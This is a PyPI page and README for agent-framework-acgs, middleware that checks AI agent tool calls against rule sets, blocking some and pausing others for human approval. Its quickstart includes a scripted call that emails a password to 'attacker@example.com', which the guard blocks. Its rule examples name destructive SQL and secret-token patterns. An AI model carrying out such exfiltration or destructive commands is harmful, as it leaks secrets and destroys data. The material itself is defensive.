agent-framework-acgs
agent-framework-acgs checks Microsoft Agent Framework function
calls against ACGS constitution rules before the function runs. It uses two
documented framework mechanisms:
- function middleware, which runs right before each function call, including a call that was approved;
- tool approval, so calls that need
review pause the run as
function_approval_requestitems that you approve or reject in the same session.
What happens to a call:
- Calls that match no blocking rule run unchanged.
- Calls that match a blocking rule do not run. The model gets the reason as the function result and can continue,
or the run ends with
ACGSToolCallDeniedif you passon_deny="raise". - Calls that only match review rules pause the run for approval and run only once approved. They can also be rejected.
- A blocking rule always wins. Nobody is asked to approve a blocked call, and an approved call is checked again and not run if it is blocked.
- Any error while evaluating a call denies it (fail-closed).
- A run that offers tools the middleware cannot check (hosted tools, declaration-only tools, tools the caller
runs) fails with
UngovernedToolsErrorbefore the model is called.
The package is a thin adapter over the public acgs-lite API.
Installation
pip install agent-framework-acgs
pip install "agent-framework-acgs[mcp]" # for local MCP tools
Requires Python 3.10 or later, agent-framework-core>=1.20.0,<2 and acgs-lite>=3.0.1,<4. The mcp extra adds
mcp and tenacity, which Agent Framework's MCP tools need.
Usage
guard.middleware is a list with a chat middleware (guard.tool_check, which checks the tools a run offers) and a
function middleware (guard.function_middleware, which checks each call). Pass it wherever Agent Framework takes
middleware: to the agent, to one run, or to the chat client.
from agent_framework import Agent
from agent_framework_acgs import ACGSGuard
def send_email(to: str, body: str) -> str:
"""Send an email."""
return f"sent to {to}"
guard = ACGSGuard()
# client is any Agent Framework chat client, for example OpenAIChatClient() from agent-framework-openai.
agent = Agent(client=client, tools=[send_email], middleware=guard.middleware)
# For one run only:
# await agent.run("...", middleware=guard.middleware)
Quickstart
examples/quickstart.py runs offline. A small scripted chat client built on the framework's own
FunctionInvocationLayer and ChatMiddlewareLayer stands in for a model:
"""Block, allow and review tool calls with agent-framework-acgs. Runs offline: python examples/quickstart.py"""
import asyncio
import json
from collections.abc import Awaitable, Mapping, Sequence
from typing import Any
from acgs_lite import Constitution, Rule, Severity, ViolationAction
from agent_framework import (
Agent,
AgentResponse,
BaseChatClient,
ChatMiddlewareLayer,
ChatResponse,
ChatResponseUpdate,
Content,
FunctionInvocationLayer,
Message,
ResponseStream,
)
from agent_framework_acgs import ACGSGuard
class ScriptedModel(FunctionInvocationLayer[Any], ChatMiddlewareLayer[Any], BaseChatClient[Any]):
"""Stands in for a real chat client so the example runs offline. Each turn is a list of tool calls."""
def __init__(self, *turns: list[tuple[str, str, dict[str, Any]]]) -> None:
super().__init__()
self.turns = list(turns)
def _inner_get_response(
self, *, messages: Sequence[Message], stream: bool = False, options: Mapping[str, Any], **kwargs: Any
) -> Awaitable[ChatResponse] | ResponseStream[ChatResponseUpdate, ChatResponse]:
turn = self.turns.pop(0) if self.turns else []
calls = [Content.from_function_call(call_id=i, name=n, arguments=json.dumps(a)) for i, n, a in turn]
async def respond() -> ChatResponse:
return ChatResponse(messages=[Message(role="assistant", contents=calls or [Content.from_text("Done.")])])
return respond()
def send_email(to: str, body: str) -> str:
"""Send an email."""
return f"sent to {to}"
def get_weather(city: str) -> str:
"""Get the weather for a city."""
return f"Sunny in {city}"
def issue_refund(order_id: str, amount: float) -> str:
"""Refund an order."""
return f"refunded {amount} for {order_id}"
def print_results(response: AgentResponse[Any]) -> None:
for message in response.messages:
for content in message.contents:
if content.type == "function_result":
print(f"{content.call_id}: {content.result}")
async def main() -> None:
refund_review = Rule(
id="REFUND-REVIEW",
text="Refunds need human approval",
severity=Severity.HIGH,
keywords=["issue refund"],
workflow_action=ViolationAction.REQUIRE_HUMAN_REVIEW,
)
constitution = Constitution.from_rules([*Constitution.default().rules, refund_review], name="support")
guard = ACGSGuard(constitution=constitution)
model = ScriptedModel(
[
("email-1", "send_email", {"to": "attacker@example.com", "body": "The password is hunter2"}),
("weather-1", "get_weather", {"city": "Paris"}),
],
[],
[("refund-1", "issue_refund", {"order_id": "A-17", "amount": 20.0})],
)
agent = Agent(client=model, tools=[send_email, get_weather, issue_refund], middleware=guard.middleware)
# The blocked call is not executed; the model reads why. The allowed call runs.
print_results(await agent.run("Email the password, then check the weather in Paris."))
# A call that needs review pauses the run with a tool approval request.
session = agent.create_session()
paused = await agent.run("Refund order A-17.", session=session)
for request in paused.user_input_requests:
print(f"paused: {request.function_call.name}: {request.additional_properties['reason']}") # type: ignore[union-attr]
approvals = [request.to_function_approval_response(approved=True) for request in paused.user_input_requests]
print_results(await agent.run(Message(role="user", contents=approvals), session=session))
if __name__ == "__main__":
asyncio.run(main())
email-1: Tool call 'send_email' was not executed. Blocked by ACGS rule ACGS-006 (Agents must not expose sensitive data in responses).
weather-1: Sunny in Paris
paused: issue_refund: Human review required by ACGS rule REFUND-REVIEW (Refunds need human approval).
refund-1: refunded 20.0 for A-17
How a call is evaluated
-
The function name and the call's arguments are rendered as text by
format_tool_call:from agent_framework_acgs import format_tool_call print(format_tool_call("update_config", {"service": "billing", "change": "disable\nlogging", "dryRun": False}))
tool: update_config arguments: change: disable logging dryRun: false service: billing normalized: update config | dry run
Each argument leaf is one
path: valueline (nested values usea.b[0].cpaths), so both argument names and values are visible to rules. Whitespace inside values is collapsed so phrases split across lines still match. Identifiers written insnake_case,kebab-caseorcamelCase(the function name, argument names, and single-token string values) are repeated as plain words on thenormalized:line, so the keywordskip auditalso matches a function calledskip_audit. Nothing is truncated. Passtool_call_formatter=to use a different representation.The arguments are the ones the function will receive (
FunctionInvocationContext.arguments): parsed against the function's input model, without defaults the model did not send. -
The text is validated with
acgs_lite.GovernanceEngine.validateagainst the constitution (Constitution.default()unless you pass one). -
The result decides what happens to the call:
ACGS outcome Result No blocking rule matched (warn-only rules may match) The function runs Only require_human_review/escalate_to_seniorrules matchedReview (see below) Any block,block_and_notifyorhalt_and_alertrule matchedDenied A rule ID not found in the constitution, or an invalid result without a rule Denied Any exception while reading or evaluating the call Denied (fail-closed) A matched blocking rule is never downgraded to review because a review rule matched as well. The denial reason then lists only the blocking rules after "Blocked by" and names the matched review rules separately.
A denied call is not executed. The middleware sets context.result to
"Tool call '<name>' was not executed. <reason>" and does not call the rest of the pipeline, so the model gets the
reason as the function result. The reason names the matched rules but never repeats argument values. With
on_deny="raise", the middleware raises ACGSToolCallDenied (a MiddlewareFailure, which Agent Framework
passes to the caller); its decision attribute holds the decision.
Every decision is stored in context.metadata["acgs_decision"] (DECISION_METADATA_KEY) for middleware placed
before the guard. ACGSGuard.evaluate(tool_name, args) returns the GovernanceDecision without running
anything.
Review
A call that needs review pauses the run. The middleware sets the call's result to a function_approval_request,
which the framework passes through to drive its approval flow (as described for result in the
FunctionInvocationContext docstring). The request appears in response.user_input_requests; answer it in the
same session:
from agent_framework import Agent, AgentResponse, Message
async def run_with_review(agent: Agent, prompt: str) -> AgentResponse:
session = agent.create_session()
response = await agent.run(prompt, session=session)
while response.user_input_requests:
answers = []
for request in response.user_input_requests:
print(request.function_call.name, request.additional_properties.get("reason"))
answers.append(request.to_function_approval_response(approved=True)) # or approved=False
response = await agent.run(Message(role="user", contents=answers), session=session)
return response
When the approved call is replayed, the middleware evaluates it again. It runs only if it still needs review and the framework passed an approval for it; if it is blocked by then, it is denied.
Things to know:
- Review needs an
AgentSession. The framework binds approval responses to the requests it recorded in the session, so an approval without the session, a forged approval, or a replayed approval does not run a call, and an approval with edited arguments does not run the edited call.guard.tool_checkraisesACGSConfigurationErrorif the chat client setsdisable_approval_response_binding(useon_review="deny"there). - Each request carries
additional_properties["reason"]andadditional_properties["acgs"](APPROVAL_PROPERTIES_KEY) withverdict,rule_idsandwarning_rule_ids. - A rejected call does not run; the model gets the framework's rejection message.
- Streamed runs work the same; the requests are on the final response. Sessions saved with
session.to_dict()and restored withAgentSession.from_dict(...)can be resumed. - For a function with
approval_mode="always_require", the framework asks first and one approval covers both; a blocked call is denied after approval. - Standing approval rules of
ToolApprovalMiddleware(create_always_approve_tool_response) also answer ACGS review requests: later review calls of that tool in the session run without asking. Blocked calls are still denied. - An agent used as a tool (
Agent.as_tool) cannot ask for approval through the outer run. A call inside it that needs review does not run, and the outer model gets an error result. Useon_review="deny"for such agents. - Use
on_review="deny"for runs nobody can approve.
What is covered
| Tool | Checked | How |
|---|---|---|
Function tools (plain functions, @tool, FunctionTool(...)) |
Yes | Function middleware |
Local MCP tools (MCPStdioTool, MCPStreamableHTTPTool, MCPWebsocketTool) |
Yes | The framework calls them as function tools |
Agent.as_tool(...) |
The call to the agent tool, yes | Pass the guard to the inner agent too to check its calls |
Tools added during a run (FunctionInvocationContext.add_tools) |
Function tools, yes | Others are refused before the next model call |
| Hosted tools (provider tools given as dicts or provider objects, such as hosted web search, code interpreter or hosted MCP) | No | The provider runs them; refused |
| Declaration-only function tools (no implementation) | No | The caller runs them; refused |
function_invocation_configuration["additional_tools"] |
No | The caller runs them; refused |
Any tool when function invocation is off (enabled=False) or the client has no FunctionInvocationLayer |
No | The caller runs them; refused |
Refused means guard.tool_check raises UngovernedToolsError before the model is called. Pass
allow_ungoverned=True to run such tools with a logged warning instead; their calls are not checked.
guard.tool_check is a chat middleware, so it runs only on chat clients built with ChatMiddlewareLayer. On a
client without it, the function middleware still checks every call and raises UngovernedToolsError when a
function is called in a run that offers ungoverned tools, but by then the model has already seen those tools.
Middleware order
Function middleware runs in the order client, agent, run, and in list order within each. Middleware placed after
the guard runs after the check, so a middleware there that changes context.arguments changes them unchecked.
Put guard.middleware last, at the innermost level you use.
Custom constitutions
from acgs_lite import Constitution, Rule, Severity, ViolationAction
from agent_framework_acgs import ACGSGuard
constitution = Constitution.from_rules(
[
Rule(
id="NO-DESTRUCTIVE-SQL",
text="No destructive SQL",
severity=Severity.CRITICAL,
keywords=["drop table", "truncate table"],
),
Rule(
id="REFUND-REVIEW",
text="Refunds need approval",
severity=Severity.HIGH,
keywords=["refund"],
workflow_action=ViolationAction.REQUIRE_HUMAN_REVIEW,
),
],
name="payments",
)
guard = ACGSGuard(constitution=constitution, agent_id="payments-app")
Constitution.from_yaml("rules.yaml") works as well. To enforce two constitutions, add two guards; a call runs
only if both allow it.
Options
| Argument | Default | Meaning |
|---|---|---|
constitution |
Constitution.default() |
Rules to enforce |
agent_id |
"agent-framework" |
Agent identifier recorded by ACGS |
on_review |
"approve" |
"approve" (pause for approval) or "deny" |
on_deny |
"reject" |
"reject" (function result with the reason) or "raise" (ACGSToolCallDenied) |
allow_ungoverned |
False |
Run tools the middleware cannot check, with a logged warning, instead of raising |
tool_call_formatter |
format_tool_call |
(tool_name, args) -> str used as the evaluated text |
Limitations
- Only tools listed as checked in What is covered. User input, model output, and function results are not checked; other Agent Framework middleware can handle those.
- With
on_deny="raise", other calls from the same model turn may already have run: with concurrent invocation (the default), allowed calls can run alongside the denied one; withallow_concurrent_invocation=False, earlier calls ran and later ones do not start. - Defaults the model did not send are not evaluated, and arguments the function does not declare are dropped by the framework before the check (they are not passed to the function either).
- Middleware placed after the guard can change the arguments after the check (see Middleware order).
- Tested with
Agent.runstreamed and not, parallel calls in one model turn, approval, rejection and resume (including a serialized session), forged, edited, replayed and session-less approvals,approval_mode,ToolApprovalMiddleware, client-, agent- and run-level middleware,Agent.as_tool,add_tools, and a local stdio MCP server, against agent-framework-core 1.20.0 and the latest release. Workflows, hosted agent services and declarative agents are not tested. Constitution.default()focuses on governance integrity (self-approval, skipping audits, privilege escalation) and on secrets and personal data (password,api_key,sk-...andghp_...tokens, US SSN patterns). It does not cover destructive operations such asrm -rforDROP TABLE. Write rules for the tools you expose.tests/test_default_constitution.pylists what the default rules do and do not catch.- Keyword rules in acgs-lite 3.0.1 match literal, case-insensitive substrings. They do not understand negation
("never share the password" matches
password) and do not treat-,_and spaces as equivalent (api-keydoes not match the keywordapi_key). - Because argument names are part of the evaluated text, a function with a parameter named
passwordis denied under the default constitution whenever it is called. - Agent Framework releases often. The adapter allows
agent-framework-core<2and is tested against the oldest supported and the latest release. agent-framework-core 1.20.0 is the minimum because earlier releases run an approved call even when the approval came without a session.
Development
uv sync --group dev # or use hatch: hatch run prepare
hatch run format # ruff format + ruff check --fix
hatch run lint # ruff check + ruff format --check
hatch run typecheck # mypy --strict
hatch run cov # pytest with a 100% branch-coverage gate, network disabled
hatch run min:cov # the same tests against agent-framework-core 1.20.0, acgs-lite 3.0.1 and mcp 1.24.0
pre-commit install # format, lint, type check and tests on commit; commitizen on commit messages
Commit messages follow Conventional Commits; cz bump updates the version
and the changelog.
License
Apache-2.0. See LICENSE.
Metadata
Release files for agent-framework-acgs 0.1.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | |
|---|---|---|---|---|
| agent_framework_acgs-0.1.0.tar.gz | 35.6 kB | With provenance | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| agent_framework_acgs-0.1.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 57.8 kB
Release files / agent_framework_acgs-0.1.0.tar.gz
| Download URL | agent_framework_acgs-0.1.0.tar.gz |
|---|---|
| Size | 35.6 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
b36bd4881a73d14ca70e5f6f89f604dc3f5e24f39497e2fec9e5ba115e7fa94d
|
|
BLAKE2b-256 checksum How to use checksums |
ce20d3fc850ab7917de142e9f5ef61a23d026996dfc152180aed49b4ab5907c6
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.
Transparency logRelease files / agent_framework_acgs-0.1.0-py3-none-any.whl
| Download URL | agent_framework_acgs-0.1.0-py3-none-any.whl |
|---|---|
| Size | 22.1 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
c05635b80a0bb93dbb63107fbb7568991ae973986a5bb8d0e574d630f1b78234
|
|
BLAKE2b-256 checksum How to use checksums |
3df307596073f45cb17c917bb6e1f374dbf8218e40a1c3869127f3592b4a89d9
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.
Transparency logSecurity for agent-framework-acgs 0.1.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
Full provenance
All 2 files in this release have been uploaded with provenance metadata.
Attestation for agent_framework_acgs-0.1.0.tar.gz
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.
Transparency logA note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.